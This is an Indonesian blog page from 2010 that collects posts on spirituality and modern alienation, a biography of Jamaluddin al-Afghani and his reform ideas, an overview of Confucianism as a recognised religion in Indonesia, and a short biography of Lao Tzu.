Pages

Sabtu, 30 Januari 2010

Kembali ke Akar Kembali ke Sumber

Tidak ada yang tetap di dunia ini kecuali perubahan itu sendiri (Heraklitus) Mungkin ini juga yang mendasari semangat pemberontakan epistemologi pada abad ke-17 terhadap gereja yang kemudian menghasilkan manusia-manusia modern yang otonom. Tetapi akibat dari itu, ternyata menghasilkan krisis kompleks yang multidimensional bahkan menjadi derita peradaban yang jauh lebih besar dari sebelumnya. Krisis ekologis, kekerasan, dehumanisasi, moral, kriminalitas, kesenjangamn sosial yang kian menganga, dan ancaman kelaparan serta berbagai penyakit lain merupakan akibat dari apa yang dibahasakan Husein Nasr sebagai cerminan dari keterpilahan, konflik dan ketersingan dalam diri bathin masing-masing penghuni dunia. Jika kita merunut sebab krisis global diatas, menurut Fritjof Capra dapat dilacak dari cara pandang dunia (world view) manusia modern. Pandangan dunia yang diterapkan selama ini yaitu pandangan dunia mekanistik-linier Cartesian-Newtonian. Cara pandang demikian mengakibatkan manusia modern mengalami alienasi. Dalam pandangan Fromm, alienasi adalah penyakit mental yang ditandai perasingan keterasingan dari segala sesuatu; sesama manusia, alam, Tuhan dan jati dirinya. Bahkan perilaku konsumerisme, hedonisme dan gebyar globalisasi lainnya merupakan bentuk pelarian manusia modern dari alienasi. Setidaknya ada tiga kecendrungan manusia modern yang mengalami situasi keterasingan atau alienasi. Pertama, mereka yang teralienasi dari Tuhannya, yang disebabkan terutama oleh prestasi sains dan teknologi, sehingga menjadi positivis. Kedua, mereka yang teralienasi dengan lingkungan sosialnya, yang oleh Alfin Tofler diistilahkan dengan future shock. Ketiga, mereka yang teralienasi dari Tuhannya sekaligus lingkungan sosialnya. Kondisi diatas, akibat dari tercerabutnya sisi kedalaman bathin manusia yang berupa roh atau spiritualitas. Seperti yang disinyalir Peter Berger, “bahwa manusia modern telah meninggalkan nilai-nilai supranatural”. Pandangan dualisme bahwa roh dan jasad adalah terpisah menyebabkan manusia terjerembab dalam kehancuran eksistensinya. Bahkan pandangan ini adalah salah satu akar persoalan utama yang mengkarakterisasi pelbagai problem dan krisis global peradaban modern. Akibat lebih jauh adalah hilangnya orientasi hidup yang penuh kebahagiaan, ketenangan dan kasih sayang sesama manusia. Yang terjadi adalah sebaliknya, keresahan, ketakutan dan kondisi kejiwaan lainnya. Mungkin secara materi sangat kaya, segala keperluan hidupnya sudah terpenuhi semua, tetapi ada kesadaran eksistensial yang ada pada diri manusia yang harus dipupuk untuk keseimbangan hidup, dan ini yang tidak ada malah dinegasikan dalam diri manusia modern yang sering dikatakan sebagai the post industrial society, suatu masyarakat yang telah mencapai tingkat kemakmuran materi sedemikian rupa dengan perangkat teknologi yang serba otomatis dan mekanis, bukannya mendekati pada kebahagiaan hidup, melainkan sebaliknya, kian dihinggapi rasa cemas. Sehingga tanpa disadarinya integritas kemanusiaannya tereduksi lalu terperangkap pada sistem rasionalitas teknologi yang sangat tidak manusiawi. Bahkan Nasr menyatakan lebih jauh, masyarakat modern sedang berada diwilayah pinggiran eksistensinya sendiri, bergerak menjauh dari pusat, baik menyangkut dirinya sendiri maupun dalam lingkungan kosmosnya. Untuk menyelesaikan persoalan yang dihadapi manusia modern dan yang diakibatkannya, telah banyak pemikir-filosof memberikan tawaran perspektif untuk mengatasi problem tersebut. Misalnya, E.F Schumacher menyarankan pemulihannya harus datang dari dalam diri sendiri. Husein Nasr menyarankan untuk kembali pada dimensi bathin atau spiritual manusia. Spiritualitas; sebuah perspektif Spiritualitas disini bukan suatu keberadaan diri yang biasanya dicapai lewwat riyadhah atau rangkaian disiplin ritual tertentu untuk mencapai ‘Sang Realitas’ yang tak dapat dilihat dalam pengalaman biasa. Pemahaman spiritualitas seperti ini tidak salah, karena memang mempunyai pendasaran dalam semua agama. Tetapi dengan pemahaman seperti itu nampak bahwa spiritualitas hanya sekedar laku bagi seorang untuk mencapai realitas tertinggi tanpa punya implikasi sosial didalamnya. Spiritualitas dimaksud adalah sebagai basis setiap aksi kebudayan yang kita lakukan. Pencapaian spiritualitas tingkat tinggi harus memanifestasi dalam laku kebudayaannya sehari-hari. Bagi pedagang, petani, politisi, ilmuwan, ekonom dan peran-peran lainnya harus mencerminkan dari spiritualitasnya. Dalam artian, segala aktivitas yang dilakukannya harus diarahkan pada titik pusat. Suhrawradi al-Maqtul menyebut dengan cahaya diatas cahaya (nur ’ala nur). Jika yang terjadi sebaliknya berarti masih ada split dalam dirinya dalam melihat realitas. Karena spiritualitas melibatkan komitmen pada Tuhan dan manusia, keduanya menjadi kesadaran tunggal dalam diri manusia. Seperti Muhammad, ketika beliau sampai pada puncak spiritualitas, naik kelangit tertinggi bukannya malah berpaling dari tanggung jawab kemanusiaannya, melainkan terjalin hubungan antara kehendak suci dilangit dengan orientasi manusia di bumi. Dengan kata lain spektrum Ilahi dengan spektrum kemanusiaan disisi lain secara metafisis tidak diletakkan dalam ruang yang kita pahami dalam hidup keseharian. Tetapi keduanya menyatu dalam kesadaran, sehingga bagi seorang yang sampai pada tingkatan spiritualitas tertentu, perilaku kemanusiaannya merupakan cerminan dari kualitas Ilahiah. Kalau kita kembalikan kepada posisi manusia di bumi yaitu sebagai khalifah Tuhan atau mendataris-Nya, maka keagungan kita tidak akan bisa terpahami tanpa keterkaitan dengan Tuhan. Bila ridho Tuhan tidak menjadi pusat orientasi kita dalam menjalani kehidupan ini, maka kualitas hidup kita akan menjadi rendah. Dengan menjadikan Tuhan sebagai tujuan akhir, kita akan terbebaskan dari derita alienasi, karena Tuhan adalah pesona yang maha hadir dan maha mutlak. Eksistensi yang relatif akan lenyap kedalam eksistensi yang absolut. Kesadaran akan kemahahadiran Tuhan akan membuat kita selalu memiliki kekuatan, pengendalian dan sekaligus kedamaian, sehingga kita merasa dalam orbit Tuhan, tidak dalam orbit dunia yang tidak jelas juntrungnya. Sebagai visi baru dalam kehidupan, sebenarnya spiritualitas merupakan perjalanan kedalam diri manusia sendiri. Bisa jadi seorang pedagang, polisi, ilmuwan, ekonom, dan lainnya mampu mencapai apa yang diinginkannya, namun amat mungkin ia miskin dalam mengenal eksistensi dirinya (lihat fenomena manusia modern). Mungkin ia gagal memahami makna hidup ini, kemana perjalanan dan untuk apa diciptakan. Sehingga apa yang dihasilkan dengan seluruh daya dan upaya tidak bisa memberikan kebahagiaan, ketenangan dan kedamaian. Mengenal eksistensi diri adalah keniscayaan untuk membangun kepedulian dan kecintaan terhadap kemanusiaan. Jika ini gagal dilakukan, maka mengenal orang lain juga gagal. Menarik ajaran klasik yang mengatakan, bahwa kita hanya dapat memahami orang lain (sisi kemanusiaan), jika kita mengenal diri kita. Bahkan kaitan dengan Tuhan pun, sabda Nabi “siapa yang mengenal dirinya, mengenal Tuhannya”. Jadi pemahaman mengenai yang lain bergantung pemahaman mengenai diri kita sendiri. Tanpa kerja bathin ini atau berhubungan dengan kekuatan yang lebih tinggi yang tidak dapat dimanipulasi sebagai basis aksi kebudayaan, maka kehidupan manusia akan penuh dengan pengobjekan orang lain, manipulasi, penindasan dan kekejaman yang muncul bukan saja hanya karena kita tidak mengenal bathin orang, tetapi justru kita tidak mengenal diri sendiri.

FILSAFAT Jamaluddin al-Afgani

Nama lengkapnya adalah Jamaluddin al-Afgani as-Sayid Muhammad bin Shafdar al-Husain. Namun ia lebih dikenal dengan Jamaluddin al-Afgani. Ia merupakan seorang pemikir Islam, aktivis politik, dan jurnalis terkenal. Kebencian al-Afgani terhadap kolonialisme menjadikannya perumus dan agitator paham serta gerakan nasionalisme dan pan-Islamisme yang gigih, baik melalui pidatonya maupun tulisan-tulisannya. Karenanya di tengah kemunduran kaum muslimin gejolak kolonialisme bangsa Eropa di negeri-negeri Islam, al-Afgani menjadi seorang tokoh yang amat mempengaruhi perkembangan pemikiran dan aksi-aksi sosial pada abad ke-19 dan ke-20. Dilahirkan di Desa Asadabad, Distrik Konar, Afganistan pada tahun 1838, al-Afgani masih memiliki ikatan darah dengan cucu Rasulullah SAW, Husain bin Ali bin Abi Thalib. Ayahnya Sayyid Safdar al-Husainiyyah, yang nasabnya bertemu dengan Sayyid Ali al-Turmudzi (seorang perawi hadis yang masyhur yang telah lama bermigrasi ke Kabul) juga dengan nasab Sayyidina Husain bin Ali bin Abi Thalib. Keluarganya merupakan penganut mazhab Hanafi. Masa kecil dan remajanya, ia habiskan di Afganistan. Namun ketika beranjak dewasa, ia berpindah dari satu negara ke negara lainnya, seperti India, Mesir, dan Prancis. Pendidikan dasar ia peroleh di tanah kelahirannya. Pada usia 8 tahun Al-Afghani telah memperlihatkan kecerdasan yang luar biasa. Lalu ia melanjutkan pendidikannya di Kabul dan Iran. Ia tidak hanya mempelajari ilmu agama, tetapi juga ilmu umum. Ia tekun mempela¬jari bahasa Arab, sejarah, matematika, fil¬safat, fiqh dan ilmu keislaman lainnya.Ketika berada di Kabul, sampai umur 18 tahun, ia mempelajari beberapa cabang ilmu keislaman disamping filsafat dan ilmu eksakta. Kemudian ketika berada di India dan tinggal di sana lebih dari satu tahun, ia menerima pendidikan yang lebih modern. Di India, al-Afgani memulai misinya membangkitkan Islam. Kala itu India berada di bawah kekuasaan penjajahan Inggris. Pada saat perlawanan terjadi di seluruh India, al-Afgani turut ambil bagian dengan bergabung dalam perang kemerdekaan India di tahun 1857. Meski demikian, ia masih sempat pergi ke Makkah untuk menunaikan ibadah haji. Sepulang dari haji, al-Afgani memutuskan untuk pergi ke Kabul. Di kota ini ia disambut oleh penguasa Afganistan, Dost Muhammad Khan, yang kemudian menganugerahinya posisi penting dalam pemerintahannya. Ketika Sher Ali Khan menggantikan Dost Muhammad Khan pada tahun 1864, al-Afgani diangkat menjadi penasihatnya. Dan beberapa tahun kemudian diangkat menjadi perdana menteri oleh Muhammad A'zam Khan. Karena campur tangan Inggris dalam soal poilitk di Afganistan dan kekalahannya dalam pergolakan melawan golongan yang disokong Inggris, ia meninggalkan Afganistan tahun 1869 menuju India. Karena koloni Inggris yang berada di India selalu mengawasi kegiatannya, ia pun meninggalkan India dan pergi ke Mesir pada tahun 1871, dan menetap di Kairo. Pada mulanya ia menjauhi persoalan-persoalan politik Mesir dan memusatkan perhatiannya pada bidang ilmu pengetahuan dan sastra Arab.Rumahnya dijadikan tempat pertemuan murid-murid dan para pengikutnya. Di sinilah ia memberikan kuliah dan mengadakan diskusi. Salah seorang murid al-Afgani adalah Muhammad Abduh. Ia kembali ke lapangan politik ketika pada tahun 1876 melihat adanya campur tangan Inggris dalam soal politik di Mesir. Kondisi tersebut mendorong al-Afgani untuk terjun ke dalam kegiatan politik di Mesir. Ia bergabung dengan perkumpulan yang terdiri atas orang-orang politik di Mesir. Lalu pada tahun 1879, al-Afgani membentuk partai politik dengan nama Hizb al-Watani (Partai Kebangsaan). Dengan partai ini ia berusaha menanamkan kesadaran nasionalisme dalam diri orang-orang Mesir. Partai yang ia dirikan ini bertujuan untuk memperjuangkan pendidikan universal, kemerdekaan pers, dan memasukan unsur-unsur Mesir ke dalam posisi-posisi militer. Kegiatan yang dilakkukan al-Afgani selama berada di Mesir memberi pengaruh yang besar bagi umat Islam di sana. Ia yang membangkitkan gerakan berpikir di Mesir sehingga negara itu dapat mencapai kemajuan dan menjadi negara modern. Akan tetapi, karena keterlibatannya dalam bidang politik itu, pada tahun 1882 ia diusir dari Mesir oleh penguasa saat itu. Dia kemudian pergi ke Paris. Pada tahun 1883 ketika berada di Paris, al-Afgani mendirikan suatu perkumpulan yang diberi nama al-'Urwah al-Wusqa (Ikatan yang Kuat), yang anggotanya terdiri atas orang-orang Islam dari India, Mesir, Suriah, Afrika Utara, dan lain-lain. Tujuan didirikannya perkumpulan tersebut, antara lain, memperkuat rasa persaudaraan Islam, membela Islam, dan membawa umat Islam kepada kemajuan. Jurnal perlawanan Sebagai sarana untuk menyalurkan ide-ide dan kegiatannya, al-Afgani bersama Muhammad Abduh menerbitkan jurnal berkala, yang juga bernama al-'Urwah al-Wusqa. Publikasi ini bukan saja menggoncang dunia Islam, pun telah menimbulkan kegelisahan dunia Barat. Majalah ini hanya berumur delapan bulan karena dunia Barat melarang peredarannya di negeri-negeri Islam. Majalah ini dinilai dapat menimbulkan semangat dan persatuan orang-orang Islam. Di mana-mana, terutama untuk pasaran dunia Timur, majalah ini dibinasakan penguasa Inggris. Di Mesir dan India, majalah ini dilarang untuk diedarkan. Akan tetapi, majalah ini terus saja beredar meski secara ilegal. Jurnal berkala ini segera menjadi barometer perlawanan imperialis Dunia Islam yang merekam komentar, opini, dan analisis bukan saja dari tokoh-tokoh Islam dunia, tetapi juga ilmuwan-ilmuwan Barat yang penasaran dan kagum dengan kecemerlangan al-Afgani. Selama mengurus jurnal ini, al-Afgani harus bolak-balik Paris-London untuk menjembatani diskusi dan pengiriman tulisan para ilmuwan Barat, terutama yang bermarkas di International Lord Salisbury, London. Atas undangan penguasa Persia saat itu, Syah Nasiruddin, pada tahun 1889 ia mengunjungi Persia. Di sana ia diminta untuk menolong mencari penyelesaian persengketaan Rusia-Persia yang timbul karena politik pro-Inggris. Pada tahun 1892, ia ke Istanbul atas undangan Sultan Abdul Hamid yang ingin memanfaatkan pengaruh al-Afgani di berbagai negara Islam untuk menentang Eropa yang pada waktu itu mendesak kedudukan Kerajaan Usmani (Ottoman) di Timur Tengah. Akan tetapi kedua tokoh tersebut tidak mencapai kerja sama. Sultan Abdul Hamid tetap mempertahankan kekuasaan otokrasi lama, sedangkan al-Afgani mempunyai pemikiran demokrasi tentang pemerintahan. Akhirnya, Sultan membatasi kegiatan al-Afgani dan tidak mengizinkannya keluar dari Istanbul sampai wafatnya pada tanggak 9 Maret 1897. Ia dikubur di sana. Jasadnya kemudian dipindahkan ke Afganistan pada tahun 1944. Ustad Abu Rayyah dalam bukunya "Al-Afgani: Sejarah, Risalah dan Prinsip-prinsipnya”, menyatakan, bahwa al-Afgani meninggal akibat diracun dan ada pendapat kedua yang menyatakan bahwa ada rencana Sultan untuk membinasakannya. Di samping majalah al-‘Urwah al-Wusqa yang diterbitkannya, al-Afgani juga menulis banyak buku dan artikel. Di antaranya ialah Bab ma Ya’ulu Ilaihi Amr al-Muslimin (Pembahasan tentang Sesuatu Yang Melemahkan Orang-Orang Islam), Makidah asy-Syarqiyah (Tipu Muslihat Orientalis), Risalah fi ar-Radd ‘Ala al-Masihiyyin (Risalah untuk Menjawab Golongan Kristen; 1895), Diya’ al-Khafiqain (Hilangnya Timur dan Barat; 1892), Haqiqah al-Insan wa Haqiqah al-Watan (Hakikat Manusia dan Hakikat Tanah Air; 1878), dan ar-Radd ‘Ala al-Dahriyin. Merintis Reformasi Islam Apa yang dilihat al-Afgani di dunia Barat dan apa yang dilihatnya di dunia Islam memberi kesan kepadanya bahwa umat Islam pada masanya sedang berada dalam kemunduran, sementara dunia Barat dalam kemajuan. Hal ini mendorong al-Afgani untuk menimbulkan pemikiran-pemikiran baru agar umat Islam mencapai kemajuan. Ia telah menimbulkan pemikiran pembaruan yang mempunyai pengaruh besar dalam dunia Islam. Pemikiran pembaruannya didasarkan pada keyakinan bahwa agama Islam sesuai untuk semua bangsa, zaman, dan keadaan. Tidak ada pertentangan antara ajaran Islam dan kondisi yang disebabkan perubahan zaman. Dalam pandangan al-Afgani, jika ada pertentangan antara ajaran Islam dan kondisi zaman saat ini, maka harus dilakukan penyesuaian dengan mengadakan interpretasi baru terhadap ajaran-ajaran Islam yang tercantum dalam Alquran dan hadis. Untuk mencapai hal ini dilakukan ijtihad dan pintu ijtihad menurutnya masih tetap terbuka. Ia melihat bahwa kemunduran umat Islam bukanlah karena Islam tidak sesuai lagi dengan perkembangan zaman dan perubahan kondisi. Kemunduran mereka disebabkan oleh beberapa faktor. Umat Islam, menurutnya, telah dipengaruhi oleh sifat statis, berpegang pada taklid, bersikap fatalis, telah meninggalkan akhlak yang tinggi, dan telah melupakan ilmu pengetahuan. Ini berarti bahwa umat Islam telah meninggalkan ajaran Islam yang sebenarnya menghendaki agar umat Islam bersifat dinamis, tidak bersifat fatalis, berpegang teguh pada akhlak yang tinggi, dan mencintai ilmu pengetahuan. Sifat statis, menurut al-Afgani, telah membawa umat Islam menjadi tidak berkembang, dan hanya mengikuti apa yang telah menjadi hasil ijtihad ulama sebelum mereka. Karenanya umat Islam dinilai al-Afgani hanya bersikap menyerah dan pasrah kepada nasib. Faktor lainnya adalah adanya paham Jabariah dan salah paham terhadap qada (ketentuan Tuhan yang tercantum di lauh mahfuz/belum terjadi). Paham itu menjadikan umat Islam tidak mau berusaha dengan sungguh-sungguh dan bekerja giat. Menurut pemikiran al-Afgani, qada dan qadar mengandung pengertian bahwa segala sesuatu terjadi menurut sebab-musabab (kausalitas). Lemahnya pendidikan dan kurangnya pengetahuan umat Islam tentang dasar-dasar ajaran agama mereka, lemahnya rasa persaudaraan, dan perpecahan di kalangan umat Islam yang dibarengi oleh pemerintahan yang absolut, mempercayakan kepemimpinan kepada yang tidak dapat dipercaya, dan kurangnya pertahanan militer merupakan faktor-faktor yang ikut membawa kemunduran umat Islam. Faktor-faktor ini semua menjadikan umat Islam lemah, statis, fatalis, dan mundur. Ia juga ingin melihat umat Islam kuat, dinamis, dan maju. Jalan keluar yang ditunjukkannya untuk mengatasi keadaan ini adalah melenyapkan pengertian yang salah yang dianut umat Islam dan kembali kepada ajaran Islam yang sebenarnya. Menurut dia, Islam mencakup segala aspek kehidupan, baik ibadah, hukum, maupun sosial. Corak pemerintahan autokrasi harus diubah dengan corak pemerintahan demokrasi dan persatuan umat Islam harus diwujudkan kembali. Kekuatan dan kelanjutan hidup umat Islam bergantung kepada keberhasilan membina persatuan dan kerja sama. Pemikiran lain yang dimunculkan oleh al-Afgani adalah idenya tentang adanya persamaan antara pria dan wanita dalam beberapa hal. Wanita dan pria sama dalam pandangannya. Keduanya mempunyai akal untuk berpikir. Ia mmelihat tidak ada halangan bagi wanita untuk bekerja di luar jika situasi menuntut itu. Dengan jalan demikian, al-Afgani menginginkan agar wanita juga meraih kemajuan dan bekerja sama dengan pria untuk mewujudkan umat Islam yang maju dan dinamis. dia/berbagai sumber

Khonghucu

Agama Khonghucu adalah istilah yang muncul sebagai akibat dari keadaan politik di Indonesia. Agama Khonghucu lazim dikaburkan makna dan hakikatnya dengan Konfusianisme sebagai filsafat. Konfusianisme muncul dalam bentuk agama di beberapa negara seperti Korea, Jepang, Taiwan, Hong Kong dan RRC. Dalam bahasa Tionghoa, agama Khonghucu seringkali disebut sebagai Kongjiao (孔教) atau Rujiao (儒教). Di zaman Orde Baru, pemerintahan Soeharto melarang segala bentuk aktivitas berbau kebudayaaan dan tradisi Tionghoa di Indonesia. Ini menyebabkan banyak pemeluk kepercayaan tradisional Tionghoa menjadi tidak berstatus sebagai pemeluk salah satu dari 5 agama yang diakui. Untuk menghindari permasalahan politis (dituduh sebagai atheis dan komunis), pemeluk kepercayaan tadi kemudian diharuskan untuk memeluk salah satu agama yang diakui, mayoritas menjadi pemeluk agama Kristen atau Buddha. Klenteng yang merupakan tempat ibadah kepercayaan tradisional Tionghoa juga terpaksa merubah nama dan menaungkan diri menjadi vihara yang merupakan tempat ibadah agama Buddha. [sunting] Agama Khonghucu di zaman Orde Reformasi Seusai Orde Baru, pemeluk kepercayaan tradisional Tionghoa mulai mencari kembali pengakuan atas identitas mereka. Untuk memenuhi syarat sebagai agama yang diakui menurut hukum Indonesia, maka beberapa lokalisasi dilancarkan menimbulkan perbedaan pengertian agama Khonghucu di Indonesia dengan Konfusianisme di luar negeri. Mengangkat Konfusius sebagai salah satu nabi (先知) Menetapkan Litang (Gerbang Kebajikan) sebagai tempat ibadah resmi, namun dikarenakan tidak banyak akses ke litang, masyarakat umumnya menganggap klenteng sebagai tempat ibadah umat Khonghucu. Menetapkan Sishu Wujing (四書五經) sebagai kitab suci resmi Menetapkan tahun baru Imlek, sebagai hari raya keagamaan resmi Hari-hari raya keagamaan lainnya; Imlek, Hari lahir Khonghucu (28-8 Imlek), Hari Wafat Khonghucu (18-2-Imlek), Hari Genta Rohani (Tangce) 22 Desember, Chingming (5 April), Qing Di Gong (8/9-1 Imlek) dsb. Rohaniawan; Jiao Sheng (Penebar Agama), Wenshi (Guru Agama), Xueshi (Pendeta), Zhang Lao (Tokoh/Sesepuh). Kalender Imlek terbukti di buat oleh Nabi Khongcu (Konfusius). Nabi Khongcu mengambil sumbernya dari penangalan dinasti Xia (2200 SM) yang sudah di tata kembali oleh Nabi Khongcu. Tahun Zaman Nabi Khongcu Tahun Baru jatuh 22 Desember. 4 February pergantian musim dingin ke musim semi. Jadi imlek bukan perayaan musim semi. Perkiraan tanggal 1 imlek, rentang waktunya 15 hari kedepan dan 15 hari kebelakang dari 4 Pebruary tersebut.Tiap 4 atau 5 tahun sekali ada bulan ke 13, untuk menggenapi agar perhitungan tersebut tidak berubah. Ajaran Konfusianisme atau Kong Hu Cu (juga: Kong Fu Tze atau Konfusius) dalam bahasa Tionghoa, istilah aslinya adalah Rujiao (儒教) yang berarti agama dari orang-orang yang lembut hati, terpelajar dan berbudi luhur. Khonghucu memang bukanlah pencipta agama ini melainkan beliau hanya menyempurnakan agama yang sudah ada jauh sebelum kelahirannya seperti apa yang beliau sabdakan: "Aku bukanlah pencipta melainkan Aku suka akan ajaran-ajaran kuno tersebut". Meskipun orang kadang mengira bahwa Khonghucu adalah merupakan suatu pengajaran filsafat untuk meningkatkan moral dan menjaga etika manusia. Sebenarnya kalau orang mau memahami secara benar dan utuh tentang Ru Jiao atau Agama Khonghucu, maka orang akan tahu bahwa dalam agama Khonghucu (Ru Jiao) juga terdapat Ritual yang harus dilakukan oleh para penganutnya. Agama Khonghucu juga mengajarkan tentang bagaimana hubungan antar sesama manusia atau disebut "Ren Dao" dan bagaimana kita melakukan hubungan dengan Sang Khalik/Pencipta alam semesta (Tian Dao) yang disebut dengan istilah "Tian" atau "Shang Di". Ajaran falsafah ini diasaskan oleh Kong Hu Cu yang dilahirkan pada tahun 551 SM Chiang Tsai yang saat itu berusia 17 tahun. Seorang yang bijak sejak masih kecil dan terkenal dengan penyebaran ilmu-ilmu baru ketika berumur 32 tahun, Kong Hu Cu banyak menulis buku-buku moral, sejarah, kesusasteraan dan falsafah yang banyak diikuti oleh penganut ajaran ini. Ia meninggal dunia pada tahun 479 SM. Konfusianisme mementingkan akhlak yang mulia dengan menjaga hubungan antara manusia di langit dengan manusia di bumi dengan baik. Penganutnya diajar supaya tetap mengingat nenek moyang seolah-olah roh mereka hadir di dunia ini. Ajaran ini merupakan susunan falsafah dan etika yang mengajar bagaimana manusia bertingkah laku. Konfusius tidak menghalangi orang Tionghoa menyembah keramat dan penunggu tapi hanya yang patut disembah, bukan menyembah barang-barang keramat atau penunggu yang tidak patut disermbah, yang dipentingkan dalam ajarannya adalah bahwa setiap manusia perlu berusaha memperbaiki moral. Ajaran ini dikembangkan oleh muridnya Mensius ke seluruh Tiongkok dengan beberapa perubahan. Kong Hu Cu disembah sebagai seorang dewa dan falsafahnya menjadi agama baru, meskipun dia sebenarnya adalah manusia biasa. Pengagungan yang luar biasa akan Kong Hu Cu telah mengubah falsafahnya menjadi sebuah agama dengan diadakannya perayaan-perayaan tertentu untuk mengenang Kong Hu Cu. Delapan Pengakuan Iman (Ba Cheng Chen Gui) dalam agama Khonghucu: 1. Sepenuh Iman kepada Tuhan Yang Maha Esa (Cheng Xin Huang Tian) 2. Sepenuh Iman menjunjung Kebajikan (Cheng Juen Jie De) 3. Sepenuh Iman Menegakkan Firman Gemilang (Cheng Li Ming Ming) 4. Sepenuh Iman Percaya adanya Nyawa dan Roh (Cheng Zhi Gui Shen) 5. Sepenuh Iman memupuk Cita Berbakti (Cheng Yang Xiao Shi) 6. Sepenuh Iman mengikuti Genta Rohani Nabi Kongzi (Cheng Shun Mu Duo) 7. Sepenuh Iman memuliakan Kitab Si Shu dan Wu Jing (Cheng Qin Jing Shu) 8. Sepenuh Iman menempuh Jalan Suci (Cheng Xing Da Dao) Lima Sifat Kekekalan (Wu Chang): 1. Ren – Cintakasih 2. Yi - Kebenaran/Keadilan/Kewajiban 3. Li - Kesusilaan, Kepantasan 4. Zhi – Bijaksana 5. Xin - Dapat dipercaya Lima Hubungan Sosial (Wu Lun): 1. Hubungan antara Pimpinan dan Bawahan 2. Hubungan antara Suami dan Isteri 3. Hubungan antara Orang tua dan anak 4. Hubungan antara Kakak dan Adik 5. Hubungan antara Kawan dan Sahabat Delapan Kebajikan (Ba De): 1. Xiao - Laku Bakti 2. Ti - Rendah Hati 3. Zhong - Satya 4. Xin - Dapat Dipercaya 5. Li – Susila 6. Yi – Bijaksana 7. Lian - Suci Hati 8. Chi - Tahu Malu Zhong Shu = Satya dan Tepa selira/Tahu Menimbang: "Apa yang diri sendiri tiada inginkan, jangan dilakukan terhadap orang lain" (Lunyu) Kitab sucinya ada 2 kelompok, yakni: Wu Jing(五 經) (Kitab Suci yang Lima) yang terdiri atas: Kitab Sanjak Suci 詩經 Shi Jing Kitab Dokumen Sejarah 書經 Shu Jing Kitab Wahyu Perubahan 易經 Yi Jing Kitab Suci Kesusilaan 禮經 Li Jing Kitab Chun-qiu 春秋經 Chunqiu Jing Si Shu (Kitab Yang Empat) yang terdiri atas: Kitab Ajaran Besar - 大學 Da Xue Kitab Tengah Sempurna - 中庸 Zhong Yong Kitab Sabda Suci - 論語 Lun Yu Kitab Mengzi - 孟子 Meng Zi Selain itu masih ada satu kitab lagi: Xiao Jing (Kitab Bhakti). [sunting] Definisi agama menurut agama Khonghucu Berdasarkan kitab Zhong Yong agama adalah bimbingan hidup karunia Tian/Tuhan Yang Maha Esa (Tian Shi) agar manusia mampu membina diri hidup didalam Dao atau Jalan Suci, yakni "hidup menegakkan Firman Tian yang mewujud sebagai Watak Sejati, hakikat kemanusiaan". Hidup beragama berarti hidup beriman kepada Tian dan lurus satya menegakkan firmanNya. Para nabi (儒教聖人) Ru Jiao di antaranya: 1. Nabi Purba (扶羲) Fu Xi * 2952 – 2836 SM 2. Fu Xi beristrikan Nabi Nu Wa (Lie Kwa, Hokian) yang menciptakan Hukum Perkawinan 3. Nabi Purba (神農) Shen Nong 2838 – 2698 SM 4. Nabi Purba (黃帝) Huang Di 2698 – 2596 SM Istrinya, Nabi Lei Zu adalah penemu sutra yang ditenunnya dari kepompong ulat sutra dan bersama Huang Di menciptakan alat tenun, pakaian Hian Ik (pakaian harian) dan Hong Siang (pakaian upacara). 1. Nabi Purba (堯) Yao 2357 – 2255 SM 2. Nabi Purba (舜) Shun 2255 – 2205 SM 3. Nabi Purba (大 禹) Da Yu * 2205 – 2197 SM 4. Nabi Purba (商 湯) Shang Tang* 1766 – 1122 SM 5. Nabi Wen, Wu 文, 武 (周公) Zhou-gong* 1122 – 255 SM 6. Nabi Besar (孔 子) Kong Zi* 551 – 479 SM

Lao Tzu

Lao Tzu (Tionghoa: 老子, pinyin: Lǎo Zǐ) merupakan ahli filsafat yang terpopuler dan juga merupakan pendiri Taoisme (Tionghua: 道教 atau 道家) kini. Riwayat hidupnya tidak banyak terdapat dalam catatan historis, tetapi kewujudannya terbukti dalam catatan historis Tiongkok, Shiji. Menurut kitab Shiji[1], Lǎo Zǐ memiliki nama asli Lier (李耳; pinyin: LĭĚr), nama sopannya Boyang (伯阳) dan nama almarhum kehormatannya Dan (聃). Terdapat segolongan sarjana mengatakan Boyang dan Dan adalah nama sopannya[2]. Lǎo Zǐ (570-470 SM)[3], dilahirkan di Provinsi Ku(苦县), Chuguo (楚国), sekarang dikenali Provinsi Henan. Ia merupakan ketua pustakawan Chuguo pada zaman dinasti Zhou, di mana pada masa jabatannya, ia banyak mendapat manfaat dengan membaca kitab-kitab serta catatan-catatan historis, sehingga ia mencapai keluasan wawasan. Kemasyhuran Lǎo Zǐ luas tersebar sehingga kepada Kong Hu Cu. Menurut catatan Zhuangzi, Kong Hu Cu pernah berjumpa dengan Laozi untuk meminta pengajaran akan kesopanan[4]. Terdapat lukisan-lukisan berdasarkan kisah ini. Berdasarkan catatan ini, diperkirakan bahwa Kong Hu Cu berumur lebih muda kurang lebih 20 tahun daripada Lǎo Zǐ[5]. Menurut rujukan Zhuangzi[6], Kong Hu Cu pertama kali berjumpa dengan Lǎo Zǐ pada usia 17 dan kemudian pada usia 34, dan perjumpaan ketiga kalinya di Xiangyi (相邑) serta semasa berusia 51 dan 66. Pada waktu keruntuhan Dinasti Zhou, Lǎo Zǐ meletakkan jabatan dan meninggalkan negerinya dengan koaknya. Ketika ia tiba di Kastam Hangu (函谷关), Guan Yixi (关尹喜) memintanya meninggalkan filsafat dalam bentuk tulisan. Atas permintaan ini, ia menciptakan dua karya yang berjudul Dao dan De sebelum meninggalkan Chuguo. Kedua kitab tersebut digabungkan dan diperkenalkan sebagai Daode Jing yang berisikan 5000 huruf Tionghua dalam 81 bab. Terdapat banyak legenda mengenai Lǎo Zǐ yang masih diperdebatkan, seperti: Lǎo Zǐ berada dalam perut ibudanya selama 62 tahun dan dilahirkan dalam keadaan tua. Oleh karena itu digelarkan sebagai Lǎo Zǐ yang berarti Budak Tua. Lǎo Zǐ berusia 200 tahun Perjumpaan Kong Hu Cu dengan Lǎo Zǐ • (zh) Diskusi tentang Laozi • (zh) Diskusi Ajaran dan Agama Tao • (zh) Pengenalan Ajaran dan Agama Tao • (zh) Pandangan Zhuangzi pada Kong Hu Cu • (zh) Penemuan Daode Jing • (zh) Rujukan • (zh) Laman Laozi • (zh) Budaya Taoisme • (zh) Cerita semasa Laozi meninggalkan Chuguo • (zh) Taoisme • (zh) Asal unsur Taoisme • (zh) Agama Tao • (zh) Kitab-kitab Taoisme • (zh) Penerangan Daode Jing • (zh) 老子 Lǎozĭ 道德經 Dàodéjīng Chinese+English+German

Siddhārtha Gautama

